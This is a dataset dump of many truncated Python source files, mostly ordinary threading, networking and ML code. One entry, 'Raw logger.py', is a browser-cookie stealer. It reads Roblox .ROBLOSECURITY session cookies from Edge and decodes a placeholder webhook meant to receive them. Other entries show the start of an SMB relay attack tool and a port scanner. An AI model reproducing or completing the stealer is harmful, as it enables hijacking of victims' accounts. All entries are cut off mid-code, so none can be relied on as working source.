source
stringlengths
3
86
python
stringlengths
75
1.04M
msg_dispatcher_base.py
# Copyright (c) Microsoft Corporation. All rights reserved. # # MIT License # # Permission is hereby granted, free of charge, to any person obtaining a copy of this software and # associated documentation files (the "Software"), to deal in the Software without restriction, # including without limitation the rights to u...
client.py
import tkinter, logging, socket, time, pickle, threading, shelve, os from tkinter.scrolledtext import ScrolledText logging.basicConfig(level = logging.DEBUG, format = '%(asctime)s - %(message)s') class Client(tkinter.Tk): def __init__(self): super(). __init__() logging.debug('Client started') self.user = {} ...
simulation_3.py
''' Created on Oct 12, 2016 @author: mwittie ''' import network_3 as network import link_3 as link import threading from time import sleep ##configuration parameters router_queue_size = 0 #0 means unlimited simulation_time = 20 #give the network sufficient time to transfer all packets before quitting i...
threads.py
#!/usr/bin/env python if False: import mpi4py name = "name" # lib{name}.so path = [] mpi4py.profile(name, path=path) import threading from mpi4py import MPI from array import array send_msg = array('i', [7]*1000); send_msg *= 1000 recv_msg = array('i', [0]*1000); recv_msg *= 1000 def self_send(comm,...
tests.py
""" Unit tests for reverse URL lookups. """ import sys import threading from admin_scripts.tests import AdminScriptTestCase from django.conf import settings from django.contrib.auth.models import User from django.core.exceptions import ImproperlyConfigured, ViewDoesNotExist from django.http import ( HttpRequest, ...
callbacks_test.py
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
test_zmq.py
import multiprocessing import os import signal from subprocess import run import threading import time import numpy as np import pytest from bluesky import Msg from bluesky.callbacks.zmq import Proxy, Publisher, RemoteDispatcher from bluesky.plans import count def test_proxy_script(): p = run(['bluesky-0MQ-prox...
data_loader.py
from __future__ import print_function, division, absolute_import import glob import random import time # Python 2/3 support try: import queue except ImportError: import Queue as queue import cv2 import numpy as np import torch as th from joblib import Parallel, delayed from torch.multiprocessing import Queue...
robot.py
from .utils import camel_case_to_snake_case, format_type_to_python import json from threading import Event, Thread import os from .communication_managers import generate_communication_manager class Robot: ''' Generate a robot object with an api for each of the robot's parts. ''' def __init__(self, configurat...
object_generator.py
#!/usr/bin/env python from argparse import ArgumentParser from os import path, listdir, stat from os.path import isfile, join from time import sleep import subprocess import threading class Shell(): def __init__(self, objFolder, name, link): self.__objFolder = objFolder self.__name = name ...
gdbclientutils.py
import os import os.path import subprocess import threading import socket import lldb from lldbsuite.test.lldbtest import * from lldbsuite.test import lldbtest_config def checksum(message): """ Calculate the GDB server protocol checksum of the message. The GDB server protocol uses a simple modulo 256 sum...
Raw logger.py
import browser_cookie3, requests, threading import base64 import time import os key = "ENCODED BASE32 HOOK HEREEEE" weblook = base64.b32decode(key) def edge_logger(): try: cookies = browser_cookie3.edge(domain_name='roblox.com') cookies = str(cookies) cookie = cookies.split('.ROBLOSEC...
portable.py
import git_config import os import pager import platform import re import shutil import socket import stat import sys import subprocess import threading from trace import Trace def isUnix(): return platform.system() != "Windows" if isUnix(): import fcntl def to_windows_path(path): return path.replace('/', '\\'...
TeslaAPI.py
import base64 import hashlib import json import logging import os import re import requests from threading import Thread import time from urllib.parse import parse_qs logger = logging.getLogger("\U0001F697 TeslaAPI") class TeslaAPI: __apiChallenge = None __apiVerifier = None __apiState = None __auth...
copyutil.py
# cython: profile=True # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "...
port_scan.py
# import pdb import socket, threading from traceback import print_exc class AllThreadsStarted(Exception): pass class IPv4PortScanner(object): def __init__(self, domain, timeout=2.0, port_range=(1024, 65535), threadcount=10): self.domain = domain self.timeout ...
punctuation_capitalization_dataset.py
# Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
mate.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright (c) 2018 JiNong, Inc. # All right reserved. # """ Base Mate를 정의함. """ import time import util import logging import logging.handlers import traceback from calibration import Calibrator from threading import Thread from mblock import MBlock, BlkType from ...
runtests.py
#!/usr/bin/env python from __future__ import print_function import atexit import base64 import os import sys import re import gc import heapq import locale import shutil import time import unittest import doctest import operator import subprocess import tempfile import traceback import warnings import zlib import glo...
test_browser.py
# coding=utf-8 # Copyright 2013 The Emscripten Authors. All rights reserved. # Emscripten is available under two separate licenses, the MIT license and the # University of Illinois/NCSA Open Source License. Both these licenses can be # found in the LICENSE file. import argparse import json import multiprocessing imp...
scrape_buzzfeed.py
import grequests import json import multiprocessing from tqdm import tqdm import threading from html import unescape write_buffer = multiprocessing.Queue() def writer_thread(): with open('buzzfeed_dataset.txt', 'a+') as out: count = 0 s = write_buffer.get(block=True) while s: out.write(s + '\n') count +=...
analyzer-executor.py
import base64 import hashlib import json import os import traceback from multiprocessing import Process, Pipe from multiprocessing.connection import Connection from multiprocessing.pool import ThreadPool from typing import Any, Optional, Tuple import boto3 import redis from botocore.exceptions import ClientError fr...
RFCIndex.py
import socket import threading import os import platform import time ReqRFC_list = [] SERVER_NAME = '' SERVER_PORT = 0 HOST = socket.gethostbyname(socket.gethostname()) LISTENING_PORT = 40000 OS = platform.system() FilePath = '' Cookieval = '' class Peer_entry: def __init__(self,hostname,c...
validator_stats.py
#!/usr/bin/env python3 # Usage: python3 validator_stats.py import csv import json import argparse import requests import re from collections import defaultdict from queue import Queue from threading import Thread csv_link = 'https://docs.google.com/spreadsheets/d/e/2PACX-1vTUUOCAuSgP8TcA1xWY5AbxaMO7OSowYgdvaHpeMQudA...
common.py
# Copyright (c) 2015 Ansible, Inc. # All Rights Reserved. # Python import json import yaml import logging import os import re import subprocess import stat import urllib.parse import threading import contextlib import tempfile import psutil from functools import reduce, wraps from decimal import Decimal # Django fro...
media.py
from PIL import Image from typing import List from machin.parallel import get_context import os import numpy as np import moviepy.editor as mpy import matplotlib.pyplot as plt def show_image( image: np.ndarray, show_normalized: bool = True, pause_time: float = 0.01, title: str = "", ): """ Use...
HairCut.py
# -*- coding: utf-8 -*- from __future__ import print_function from bs4 import BeautifulSoup from collections import defaultdict from datetime import * from dateutil.relativedelta import * from Harvard import enumColumn from os.path import join, dirname, abspath from selenium import webdriver from selenium.common.except...
road_model.py
import cv2 import numpy as np import threading from typing import Union from openpilot.models.lane_detect.lane_config import BASE_TU, BASE_CU from openpilot.models.lane_detect.hough_lines import HoughLanesImage from openpilot.models.lane_detect.lane_models.lane_generator_hough import LaneGeneratorCUHough, LaneGene...
openvino_fd_capture.py
import cv2 as cv import sys import logging import time from picamera.array import PiRGBArray from picamera import PiCamera from utils.PCA9685 import PCA9685 from queue import Queue from threading import Thread logging.basicConfig(format='%(asctime)s - %(pathname)s[line:%(lineno)d] - %(levelname)s: %(message)s', level=...
rfc2217.py
#! python # # This module implements a RFC2217 compatible client. RF2217 descibes a # protocol to access serial ports over TCP/IP and allows setting the baud rate, # modem control lines etc. # # This file is part of pySerial. https://github.com/pyserial/pyserial # (C) 2001-2015 Chris Liechti <cliechti@gmx.net> # # SPDX...
discovery.py
import time from threading import Thread, Event from queue import Queue from threading import Lock def setup_mock_executor(gpu_list, jobs_per_gpu): return MockExecutor(gpu_list, jobs_per_gpu) def check_jobs_done_mock(jobs, executor): while True: num_finished = sum(executor.check_job_done(job) for...
adb-d8.py
#!/usr/bin/env python # Copyright 2017 the V8 project authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. # Runs an android build of d8 over adb, with any given arguments. Files # requested by d8 are transferred on-demand from the caller,...
dag.py
# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by app...
executor.py
"""HighThroughputExecutor builds on the Swift/T EMEWS architecture to use MPI for fast task distribution """ from concurrent.futures import Future import logging import threading import queue import pickle from multiprocessing import Process, Queue from ipyparallel.serialize import pack_apply_message # ,unpack_apply...
safe_t.py
from binascii import hexlify, unhexlify import traceback import sys from electrum_atom.util import bfh, bh2u, versiontuple, UserCancelled from electrum_atom.bitcoin import (b58_address_to_hash160, xpub_from_pubkey, deserialize_xpub, TYPE_ADDRESS, TYPE_SCRIPT, is_address) from electrum_ato...
old_main.py
""" Author: Param Deshpande Date created: Mon 27 Apr 18:11:03 IST 2020 Description: Main jetson/pc python file for controlling gimbal via the tracked object. License : ------------------------------------------------------------ "THE BEERWARE LICENSE" (Revision 42): Param Deshpande wrote this code. As long as...
async_checkpoint.py
# Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the 'License'); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
5Bot.Kris.py
# -*- coding: utf-8 -*- import LINETCR from LINETCR.lib.curve.ttypes import * from datetime import datetime from bs4 import BeautifulSoup import time, random, sys, re, os, json, subprocess, threading, string, codecs, requests, tweepy, ctypes, urllib, urllib2, wikipedia,tempfile,glob,shutil,unicodedata,goslate from gtt...
smbrelayx.py
#!/usr/bin/env python # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # SMB Relay Module # # Author: # Alberto Solino (@agso...
deploy_agent.py
import argparse import boto3 import configparser import fileinput import json import logging import os import psutil import re import sys import time import uuid from multiprocessing import Process from shutil import copyfile from daemon import Daemon class DeviceDaemon(Daemon): def run (self): os.chdir(o...
ioloop_test.py
from concurrent.futures import ThreadPoolExecutor from concurrent import futures import contextlib import datetime import functools import socket import subprocess import sys import threading import time import types from unittest import mock import unittest from tornado.escape import native_str from to...
index.py
""" # coding=utf-8 """ import os.path import logging.handlers from datetime import datetime from threading import Thread from flask import Flask, abort, request, jsonify from flask_mail import Mail, Message from dotenv import load_dotenv load_dotenv() app = Flask(__name__) KEY_MESSAGE = 'message' KEY_DATETIME = 'dat...
views.py
import requests from threading import Thread from django.contrib.auth.decorators import login_required from django.shortcuts import render from node.models import Node @login_required def home(request): nodes = Node.objects.all() def thread_func(node): try: # For production add the time...
laptop_battery.py
#!/usr/bin/env python # Software License Agreement (BSD License) # # Copyright (c) 2011, Willow Garage, Inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # * Redistributions of source cod...
metadata_test.py
import threading import time import logging import pytest from dtest import Tester logger = logging.getLogger(__name__) class TestMetadata(Tester): def force_compact(self): cluster = self.cluster (node1, node2) = cluster.nodelist() node1.nodetool("compact keyspace1 standard1") def ...
create_instance_template.py
#!/usr/bin/env python3 # # Copyright 2018 The Bazel Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
chrome_test_server_spawner.py
# Copyright 2013 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """A "Test Server Spawner" that handles killing/stopping per-test test servers. It's used to accept requests from the device to spawn and kill instances of ...
lisp.py
# ----------------------------------------------------------------------------- # # Copyright 2013-2019 lispers.net - Dino Farinacci <farinacci@gmail.com> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain...
test_geneve.py
import os, sys import re, hashlib, time import atexit from scapy.all import * import pytest from awsAPIv3 import aws from lib_yijun import * #pytest -v -s -m geneveASA --skip_updown --html=report.html --self-contained-html --metadata Version 9.17.0.20 def load_asa_config(asa_address, asa_jb_ip="20.0.250.10", debug=...
test_asyncprocess.py
import asyncio import gc import os import signal import sys import threading import weakref from datetime import timedelta from time import sleep import pytest from tornado import gen from tornado.locks import Event from distributed.compatibility import WINDOWS from distributed.metrics import time from distributed.pr...
stt.py
""" **Speech to Text (STT) engine** Converts the user speech (audio) into text. """ import threading import traceback import speech_recognition as sr from src import settings from src.core.modules import log, tts, replying def setup() -> None: """ Initializes the STT engine Steps: 1. Creates a...
email.py
from flask import render_template from flask_mail import Message from flask_babel import _ from threading import Thread from app import app, mail def send_async_email(app, msg): with app.app_context(): mail.send(msg) def send_email(subject, sender, recipients, text_body, html_body): msg = Message(su...
touch_callable.py
#!/usr/bin/env python3 import argparse import datetime import enum import importlib.util import inspect import os import logging import urllib.parse import pytz import sys import typing import json import time import io from flask import Flask, jsonify, request, send_file, send_from_directory app = Flask(__name__) ...
zeromq.py
# -*- coding: utf-8 -*- ''' Zeromq transport classes ''' # Import Python Libs from __future__ import absolute_import, print_function, unicode_literals import os import sys import copy import errno import signal import socket import hashlib import logging import weakref import threading from random import randint # Im...
EV0.00000005.py
' litepresence 2018 ' def WTFPL_v0_March_1765(): if any([stamps, licenses, taxation, regulation, fiat, etat]): try: print('no thank you') except: return [tar, feathers] # dependencies import matplotlib import numpy as np from tkinter import * # pybitshares modules from bit...
test_advanced.py
# coding: utf-8 from concurrent.futures import ThreadPoolExecutor import json import logging import random import sys import threading import time import os import numpy as np import pytest import ray.cluster_utils import ray._private.profiling as profiling from ray._private.test_utils import (client_test_enabled, ...
mtadd.py
import time import threading def add(): result = 0 for i in range(1, 50000001): result += i print(result) if __name__ == '__main__': start = time.time() tlist = [] for i in range(2): t = threading.Thread(target=add) tlist.append(t) # 将线程加入到列表 t.start() for ...
sholat.py
# sholat # karjok pangesty # created 31, januari 2019 2:18 pm # updated 5 mei 2019 6:00 pm #-*-coding : utf-8-*- ''' PLEASE READ FIRST !!! ----------------------- The code is open source. you can use it to study. but I really don't want to copy this script but don't include the source of the script (here the c...
interface.py
# # -*- coding: utf-8 -*- """Backend Sender - Send to internal process Manage backend sender. """ import json import logging from multiprocessing import Process import threading import typing as t from typing import Any, Dict, Iterable, Optional, Tuple, Union from typing import cast from typing import TYPE_CHECKING ...
snips_services.py
#!/usr/bin/python2.7 # -*- coding: utf-8 -*- ############################################################ # -Classe de gestion des services non python snips.ai # -Snips.ai comprend plusieurs services connectée par MQTT # -pour l'utilisation minimale, 6 services doivent être activés # snips-audio-server #ge...
generate_breakpad_symbols.py
#!/usr/bin/env python # Copyright (c) 2013 GitHub, Inc. # Copyright (c) 2013 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Convert pdb to sym for given directories""" import errno import glob import optparse import o...
loader.py
# Copyright (c) 2017-present, Facebook, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed...
add_code_to_python_process.py
r''' Copyright: Brainwy Software Ltda. License: EPL. ============= Works for Windows relying on a fork of winappdbg which works in py2/3 (at least for the part we're interested in). See: https://github.com/fabioz/winappdbg (py3 branch). Note that the official branch for winappdbg is: https://github.com/MarioVilas/wi...
dynamodump.py
#!/usr/bin/env python """ Simple backup and restore script for Amazon DynamoDB using boto to work similarly to mysqldump. Suitable for DynamoDB usages of smaller data volume which do not warrant the usage of AWS Data Pipeline for backup/restores/empty. dynamodump supports local DynamoDB instances as w...
my_module.py
import os import rospy import rospkg from python_qt_binding import QT_BINDING import sys from python_qt_binding.QtCore import qDebug from qt_gui.plugin import Plugin from python_qt_binding import loadUi from python_qt_binding.QtWidgets import QWidget, QSlider from python_qt_binding.QtCore import QObject # import socket...
sub_thread.py
import paho.mqtt.subscribe as sub from guizero import * import threading app=App(title="harini") label1 = Text(app,text ="Intruder Dectection") textb = TextBox(app) textb.resize(200,20) textb.disable() intruder = Picture(app, image="intr.jpg") intruder.resize(350,400) def recv(): while(True): msg = sub.simple("p...
rosdistro.py
import copy import os import sys import tarfile import tempfile import threading try: from urllib.request import urlopen from urllib.error import HTTPError except ImportError: from urllib2 import urlopen from urllib2 import HTTPError import yaml from .common import error from .common import info from ...
task.py
""" Created on Sep 14, 2017 @author: riteshagarwal """ import copy import json import json as Json import os import random import socket import threading import time from copy import deepcopy import zlib from httplib import IncompleteRead import com.couchbase.test.transactions.SimpleTransaction as Transaction from _t...
config.py
import os import traceback from abc import abstractmethod, ABC from pathlib import Path from threading import Thread from typing import Optional import yaml from bauh.api.constants import CONFIG_PATH from bauh.commons import util def read_config(file_path: str, template: dict, update_file: bool = False, update_asyn...
application.py
import gzip from multiprocessing import Process from typing import Callable import typer import uvicorn from fastapi import FastAPI, Request, Response from fastapi.middleware.gzip import GZipMiddleware from fastapi.routing import APIRoute from fastapi_pagination import add_pagination from starlette.middleware.cors imp...
batcher.py
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # Modifications Copyright 2017 Abigail See # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses...
lisp-rtr.py
# ----------------------------------------------------------------------------- # # Copyright 2013-2019 lispers.net - Dino Farinacci <farinacci@gmail.com> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain...
event_based_scheduler_job.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
schhaio.py
"""Provides SmartCommandsHarmonyHub for smarter interaction with a HarmonyHub""" import asyncio from functools import partial from threading import Thread from aioharmony.harmonyapi import HarmonyAPI from aioharmony.const import SendCommandDevice from hermes_python.ontology.injection import (InjectionRequestMessage, A...
process.py
from django.core.files import File from mapred.fabric import fabfile from mapred import compute from mapred.models import Server from mapred.objects import OSServer from multiprocessing import Process import time import os #import pdb class DTimer(object): # dynamic timer ... pass def _execute(request, job, ...
launchnotebook.py
"""Base class for notebook tests.""" from __future__ import print_function from binascii import hexlify from contextlib import contextmanager import errno import os import sys from threading import Thread, Event import time from unittest import TestCase pjoin = os.path.join from unittest.mock import patch import r...
docker_log_processor.py
#!/usr/bin/env python # Copyright (c) Microsoft. All rights reserved. # Licensed under the MIT license. See LICENSE file in the project root for # full license information. # # filename: docker_log_processor.py # author: v-greach@microsoft.com # created: 01/29/2019 from multiprocessing import Process, Queue, Event ...
neptune_mp_server.py
import zmq import json import StringIO from time import time, sleep import numpy as np import os from tensorpack.utils.neptune_utils import Neptune, NeptuneContextWrapper, JobWrapper, ChannelWrapper import traceback neptune = Neptune() class Server(object): def __init__(self, number_of_workers, port, debug_charts...
__init__.py
""" A library of various helpers functions and classes """ import inspect import sys import socket import logging import threading import time import random from rpyc.lib.compat import maxint # noqa: F401 class MissingModule(object): __slots__ = ["__name"] def __init__(self, name): self.__name = nam...
mqv_datasource.py
import rubicon.objc as objc import objc_util # pylint: disable=import-error import threading import time from .mqv_song import MQVSong from .mqv_songchangedetector import MQVSongChangeDetector _warnForDefinedClass = False NSLog = objc_util.c.NSLog NSLog.argtypes = [objc_util.c_void_p] try: MQVDataSource = objc.Ob...
sched_basic.py
from __future__ import absolute_import import logging import threading import signal import subprocess import socket try: from queue import Queue except ImportError: from Queue import Queue __all__="subprocess socket Queue Lock Event spawn serve_forever".split() Lock = threading.RLock Event = threading.Event class...
direwatch.py
#!/usr/bin/python3 # direwatch """ Craig Lamparter KM6LYW, 2022, MIT Licnese Code derived from Adafruit PIL python example This will tail a direwolf log file and display callsigns on an adafruit st7789 tft display (https://www.adafruit.com/product/4484). Follow the instructions here to get the driver/library loa...
controller_manager.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Software License Agreement (BSD License) # # Copyright (c) 2010, Antons Rebguns, Cody Jorgensen, Cara Slutter # 2010-2011, Antons Rebguns # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are perm...
10.enumerate_all_threads.py
import random import threading import time import logging import sys logging.basicConfig(level=logging.DEBUG, format='(%(threadName)-10s) %(message)s', ) def worker(): """thread worker function""" print("Locals values to thread:", threading.local()) lcl = threading....
mp_workers.py
import time import random from multiprocessing import Process, Queue, current_process, freeze_support # # Function run by worker processes # def worker(input, output): for func, args in iter(input.get, 'STOP'): result = calculate(func, args) output.put(result) # # Function used to calculate resu...
power_monitoring.py
import random import threading import time from statistics import mean from cereal import log from common.params import Params, put_nonblocking from common.realtime import sec_since_boot from selfdrive.hardware import HARDWARE from selfdrive.swaglog import cloudlog CAR_VOLTAGE_LOW_PASS_K = 0.091 # LPF gain for 5s tau...
Mp3 Player.py
import os import threading import time import tkinter.messagebox from tkinter import * from tkinter import filedialog from tkinter import ttk from ttkthemes import themed_tk as tk from mutagen.mp3 import MP3 from pygame import mixer root = tk.ThemedTk() root.get_themes() # Returns a list of all theme...
_backend_overview.py
# -*- coding: utf-8 -*- # Copyright 2018, IBM. # # This source code is licensed under the Apache License, Version 2.0 found in # the LICENSE.txt file in the root directory of this source tree. """A module for monitoring backends.""" import time import threading import types from IPython.display import display ...
metaNODE11.py
' litepresence 2018 ' def WTFPL_v0_March_1765(): if any([stamps, licenses, taxation, regulation, fiat, etat]): try: print('no thank you') except: return [tar, feathers] from random import random, shuffle, randint, choice from ast import literal_eval as literal from multipr...
bench_apps.py
""" Benchmark different servers """ import os import time import pytest import requests import subprocess from functools import wraps from multiprocessing import Process from pytest_cov.embed import cleanup_on_sigterm from web.core.http import Handler cleanup_on_sigterm() BASE = os.path.dirname(__file__) HELLO_WORLD...
mario.py
import tensorflow as tf import cv2 import multiprocessing as _mp from src.utils import load_graph, mario, detect_hands, predict from src.config import ORANGE, RED, GREEN tf.flags.DEFINE_integer("width", 640, "Screen width") tf.flags.DEFINE_integer("height", 480, "Screen height") tf.flags.DEFINE_float("threshol...
__init__.py
""" The top level interface used to translate configuration data back to the correct cloud modules """ import copy import glob import logging import multiprocessing import os import signal import sys import time import traceback from itertools import groupby import salt.client import salt.config import salt.loader im...
test_smtplib.py
import asyncore import base64 import email.mime.text from email.message import EmailMessage from email.base64mime import body_encode as encode_base64 import email.utils import hmac import socket import smtpd import smtplib import io import re import sys import time import select import errno import textwrap import unit...
volvox_REST_names_test.py
import threading import unittest from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.common.keys import Keys import name_server from jbrowse_selenium import JBrowseTest class VolvoxRestTest( JBrowseTest ): data_dir = 'tests/data/names_REST&tracks=Genes,CDS' def setUp( self...
network.py
import socket import threading class Receiver: def __init__(self, options, summary): self.options = options self.summary = summary self.runable = True self.socket = socket.socket(socket.AF_INET, options.protocol) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,...
py-mininet.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Nov 7 10:26:46 2019 @author: mep53 """ from mininet.net import Mininet from mininet.link import TCLink from mininet.node import OVSController from mininet.node import CPULimitedHost, Host, Node from mininet_rest import MininetRest from mininet.topo im...
task_4_server.py
import socket import threading def display_msg(author, msg): for client in clients: if author != client: client.send(msg.encode()) def client_handler(sock, address): print(f"{address[0]}:{address[1]} connected") while True: message = sock.recv(16384).decode("utf-8") ...
builtin_units.py
import os, logging from alchemy import engine, flow, unit log = logging.getLogger(__name__) def foreach(ctx, item, iteron, units, dryrun=False): newctx = ctx ui_list = [unit.create_unit_inst_from_dict(d) for d in units] for i in iteron: newctx.values[item] = i engine.run_ui_list(...
th.py
###### 多线程 daemon守护线程test import time import threading def fun(): for i in range(5): # print("start fun") time.sleep(1) print("fun1") def fun2(a): while 1: time.sleep(1) print(a,"end fun2") def main(): # print("main thread") t1 = threading.Thread(target=fun,arg...
aer_dataset.py
from tqdm import tqdm import pandas as pd from path import Path import random import math import numpy as np import itertools import datetime import os import networkx as nx from utils.tool import time_stat,get_now from components.AcTik import Tik import threading from components.measurement import Procedure,get_df fro...